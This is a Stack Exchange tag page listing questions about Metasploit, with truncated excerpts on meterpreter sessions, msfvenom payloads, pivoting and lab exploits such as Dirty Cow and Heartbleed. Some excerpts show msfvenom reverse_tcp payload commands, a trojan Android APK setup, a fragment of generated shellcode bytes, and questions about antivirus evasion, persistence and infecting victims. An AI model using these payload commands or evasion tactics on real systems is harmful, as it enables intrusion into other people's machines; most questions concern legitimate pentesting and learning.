Episode #125 of the Stack Overflow podcast is here. We talk Tilde Club and mechanical keyboards. Listen now

Questions tagged [metasploit]

Metasploit is an open source exploitation framework that acts as a tool for developing and executing exploit code against a remote target machine

Filter by
Sorted by
Tagged with
1
vote
1answer
441 views

Prevent metasploit meterpreter process migration [closed]

Is there any way to prevent meterpreter process migration.?
1
vote
1answer
4k views

Proxying MetaSploit through BurpSuite

I was wondering how I would be able to proxy MetaSploit through BurpSuite. I was to reverse engineer a packet being sent to my ChromeCast, but I have no way of viewing the packet. Thanks.
0
votes
1answer
1k views

Amazon AWS Kali - Metasploit

I'm using the Amazon marketplace Kali and I'm trying to test CVE-2017-0199 to see if my proxy settings to block application/hta content are working. There is a module in metasploit that allows me to ...
3
votes
1answer
1k views

Metasploit. Is always replacing domain names with resolved ips on RHOST/RHOSTS?

There is a website which I want to audit. That site must have a concrete Virtualhost configuration because if you access to it using the domain name the website is shown, but if you use the ip address ...
1
vote
1answer
567 views

Practical example of pentesting using msfvenom

I'm updating a small article that is out of date, but I don't know a lot about pentesting. The framework is mfsvenom and the code is: msfencode -x calc.exe -t loop-vbs -o final.vbs Before it was ...
0
votes
1answer
840 views

PSExec not working against windows XP (metasploit)

I am following the book Penetration Testing: A Hands-On Introduction to Hacking from Georgia Weidman. In Ch 13, page 296 the psexec from metasploit is used against a Windows XP Profession SP3 (32-bit),...
7
votes
2answers
440 views

Using stored creds in a metasploit module

Metasploit smartly stores your creds in its internal database, whether you've manually entered them by using a previous module or whether you've dumped them with smart_hashdump. You can view stored ...
1
vote
1answer
325 views

penetration testing: NBNS response on different network

I have a (test) setup where I want to respond to NBNS broadcasts. The clients sending out the broadcasts are on a different network. I can sniff the traffic using a pivot host on this network. So far ...
6
votes
0answers
3k views

Meterpreter (Metasploit) anonymous reverse connection over Tor2web

The general consensus seems to be that one sets up a listener on a server accessible by a public IP and some port forwarding. For anonymity this should be a throw-away server or a hacked box. I've ...
2
votes
2answers
1k views

Does hashdump also dump domain creds when run on a domain controller

If I understand correctly, meterpreter's hashdump dumps the content of the SAM file. Domain users should be in the AD database on domain controllers, which I understand is NTDS.dit . On my test ...
5
votes
1answer
10k views

Encode an executable file multiple time using MSF venom

I am trying multiple encode on same the executable file, but confused with the syntax. The Problem: To encode any executable file we can use the syntax: msfvenom -p windows/meterpreter/reverse_tcp ...
3
votes
3answers
2k views

Can we attack with and target the same computer

Recently I have gained interest in Kali, especially frameworks such as Metasploit. Let's assume that I only have one computer that does not have access to the internet. I want to learn how to use ...
2
votes
1answer
228 views

The exact use for MSF bind payloads

Could someone explain the Metasploit bind Payload to me . I have´nt found anything about them . The for the reverse payloads the target Pc connects it selfe with the listener . But how is bind ...
3
votes
1answer
377 views

Is it possible to get a notification in metasploit?

Is it possible to get a notification after a victim download a infected file. So that i must not spend days to wait for a conection ?
1
vote
1answer
385 views

what does “Rank” mean in msfvenom?

In the screen output below from msfvenom when listing all supported encoders with -l encoders; what does "Rank" mean exactly?
2
votes
0answers
1k views

How to prevent multiple meterpreter sessions from same target?

I use a custom android/meterpreter/reverse_tcp payload from here. It connects back to the handler at specified time interval. When I use exploit as a job, I get multiple sessions from the same target ...
4
votes
1answer
14k views

Auto execute meterpreter commands on session start

Is there a way to run one or multiple meterpreter commands automatically, as soon as the listener gets a connection (i.e session is established with a target)? I want to run the 'hide_app_icon' ...
0
votes
1answer
112 views

Network address (DNS) translation on Amazon Web Services (Ec2)

I am trying to figure out better ways to practice my computer defense/ infosec skills. If someone was to set up a honeypot (e.g., MHN) on AWS/EC2 server and then try to launch attacks from a local ...
1
vote
2answers
845 views

Meterpreter detected by AV

Since January I observed that meterpreter_reverse_https was detected by AV even with the enablestageencoding set to true. I tried to change the signature of the meterpreter and set the handlersslcert ...
2
votes
1answer
1k views

SELinux Privilege Escalation Metasploit Nexus 5 Android 5.0.1 LRX22C after Stagefright

I am preparing a part of a security awareness day and one part of the "show" should be about mobile security. I thought about showing the stagefright exploit. So I started with getting a mobile phone ...
0
votes
1answer
659 views

How to find external ip address a payload uses to connect back to the attacker?

I find myself targeted with a malicious .apk file. I am provided with some malicious files disguised as a genuine .apk. I used apktool to decompile the file and collect some information about the ...
0
votes
1answer
4k views

List of New Metasploit Modules

I would think that this would be an easy thing to find, but it there a running list that someone maintains that shows new Metasploit modules as they are released? One thing that I do is keep an eye ...
1
vote
3answers
750 views

Metasploit through webshell

I was able to get a php reverse shell on a webserver, say X that is behind all sorts of perimeter security stuff. Now I want to target a machine on the same LAN with X, how do I setup metasploit for ...
1
vote
1answer
554 views

Metasploit creating .ZIP files instead of .APK files?

I have been practicing using an old Android device and Kali Linux. I set up the trojan .apk file like normal, using the command msfvenom -p android/meterpreter/reverse_tcp LHOST=MyIP LPORT=RandomPort ...
3
votes
1answer
2k views

How does 32 bit Meterpreter migrate into 64 bit process?

If you have an 32bit Meterpreter running on a 64 bit remote system you can migrate into 64 bit processes. This isn't anything new and has been used by malware for ages but the thing that makes me ...
-1
votes
1answer
192 views

Penetration testing of windows ( Corporate systems )

So I am part of the team where in we have to conduct a penetration testing assignment for our client. Basically what he wants from us is to show how we can get into their system with the help of ...
4
votes
2answers
781 views

Good example of heap exploits on Linux

I'm doing a demonstration of memory corruption attacks, and would like to show some working examples of exploits that feature heap corruption (such as use-after-free). My requirements are: A working ...
1
vote
0answers
688 views

Fixing vulnerabilities in metasploitable 2 [closed]

I am new to penetration testing . I've done exploits from kali linux on metasploitable 2, and i want to fix the vulnerabilities i'm exploiting, but all i can find as a solution to these ...
0
votes
1answer
788 views

Help with creating Heartbleed vulnerable server

I am using Virtualbox internal network with Kali Linux and Ubuntu 12.04. The version of OpenSSL for the Ubuntu is 1.0.1 which should be vulnerable. I have created a HTTPS server using nginx on the ...
7
votes
1answer
10k views

Exploiting Dirty Cow using Metasploit

I'm testing on some of my Linux Virtual Machines trying to exploit the Dirty Cow Vulnerability and I'm not able to success using Metasploit. First of all... for interested users, a couple of links to "...
1
vote
1answer
2k views

Metasploit reverse shell through docker and virtual box

I am running metasploit on docker from: remnux/metasploit and I want to open a reverse shell on a virtual machine running windows 10 in virtual box. The docker container and the vm run on the same ...
1
vote
3answers
2k views

Metasploit Search Multiple Keywords

I am having an issue with Metasploit's search commands. When trying to search multiple keywords, the output displays only the first keyword. For example, if I use the command search platform:windows ...
1
vote
2answers
2k views

(exploit) reverse_tcp won't connect? [closed]

okay so i'm a little bit new into exploiting etc but i can't seem to understand why i'm not able to create a connection with my phone and the kali handler of tcp Here is what i do: First i make the ...
1
vote
2answers
1k views

Metasploit Framework: Remove Vulnerabilities from Database?

Is it possible to remove the vulnerabilities in Metasploit Frameworks's database that I have imported from Nexpose and Nessus? I want to remove the vulnerabilities from the database while keeping the ...
1
vote
1answer
110 views

SSH Version Scan Unsuccessful for Windows XP SP2

I was trying to scan the SSH version for Windows XP using "Scanner SSH Auxiliary Module" in the metasploit framework. However, there was no error while scanning but it couldn't identify the version as ...
2
votes
3answers
21k views

How to find LHOST?

This is a problem that I have beaten my head over for quite some time. I want to embed malicious code into a program , and when a victim opens it it will give me access to a meterpreter session on ...
4
votes
1answer
4k views

Set Session Metasploit

Metasploit exploits (exploits/windows/local/virtual_box_opengl_escape in specific) have an option called Session. What is this is to be set to? I am running Kali on virtual box on a Windows machine
1
vote
0answers
342 views

Why can't fresh windows install of metasploit-framework connect to database?

It gives error on startup: Failed to connect to the database: ActiveRecord::ConnectionNotEstablished and on db_status: No database driver installed. Try 'gem install pg'.
0
votes
1answer
1k views

How to attack a specific computer on a remote network? [closed]

In a situation where I know the victim's public ip of their router, how does an attacker attack a specific computer in that network using something like metasploit? Because when using metasploit in ...
0
votes
2answers
407 views

Is using Kali Linux in corporate enviroment safe?

Does Kali Linux contain audited software which is designed to aid security and basically does not contain any backdoors? Is this some sort of professional software or compilation of various tools ...
4
votes
1answer
860 views

Demonstrate a VM Escape

I have to demonstrate a VM Escape for a project. After some light research, I have found a vulnerability CVE-2014-0983 "Oracle VirtualBox 3D Acceleration Multiple Memory Corruption Vulnerabilities". ...
1
vote
1answer
2k views

Manually migrate to another process without using metasploit? [duplicate]

There is a useful meterpreter script that allows to migrate meterpreter to another process by specifying its PID. Imagine I have my own session running. How could I migrate to another process without ...
4
votes
2answers
706 views

Need a session ID to make a privilege escalation MSF module works

I have a limited shell on a machine and I would like to use a Metasploit module to escalate privileges. Problem: I did not get the limited shell with a metasploit module, and the metasploit module for ...
0
votes
1answer
473 views

Is it possible to encrypt persistence in metasploit? [duplicate]

What I generally do, is I encrypt my payload with Veil-Evasion But then after I get the shell, I keep on migrating of course; But when I enter the command run persistence in the meterpreter shell,...
0
votes
1answer
894 views

how to compile a generated exploit in metasploit into a C program

Once you generate an exploit in metasploit with the '-t c' tag you get an array with a bytecode like unsigned char buf[] = "\xfc\xe8\x89\x00\x00\x00\x60\x89\xe5\x31\xd2\x64\x8b\x52\x30" "\x8b\x52\...
0
votes
1answer
4k views

Can't get a reverse shell [closed]

I'm doing my OSCP certification. On one of the lab machines, I'm having a really hard time getting a reverse shell. I scanned the machine and found port 80 open. I enumerated even more and found a ...
3
votes
1answer
633 views

Meterpreter SSL error after sleep

While heavily using metasploit on pentests, I start using sleep meterpreter command. I understand that this is not a persistence method, but sometimes it's very convenient. Sadly, when sessions ...
0
votes
2answers
913 views

Msfvenom meterpreter android architectures

Is there any android architecture I can set my meterpreter reverse_http payload to that works on every android phone? Basically, when I don't set any architecture it defaults to dalvik but that ...
1
vote
3answers
488 views

Why am I unable to capture LM & LMHASH?

I'm running a simple test of Metasploit's auxiliary/server/capture/smb. It works, but both LMHASH & LM are empty [*] SMB Captured - 2016-09-27 16:49:31 +0800 NTLMv2 Response Captured from 172.16....
-1
votes
1answer
514 views

Meterpreter reverse http Timeout settings

When setting the timeouts for the reverse connection do I need to set them when creating the payload in msfvenom or just set them in the listener?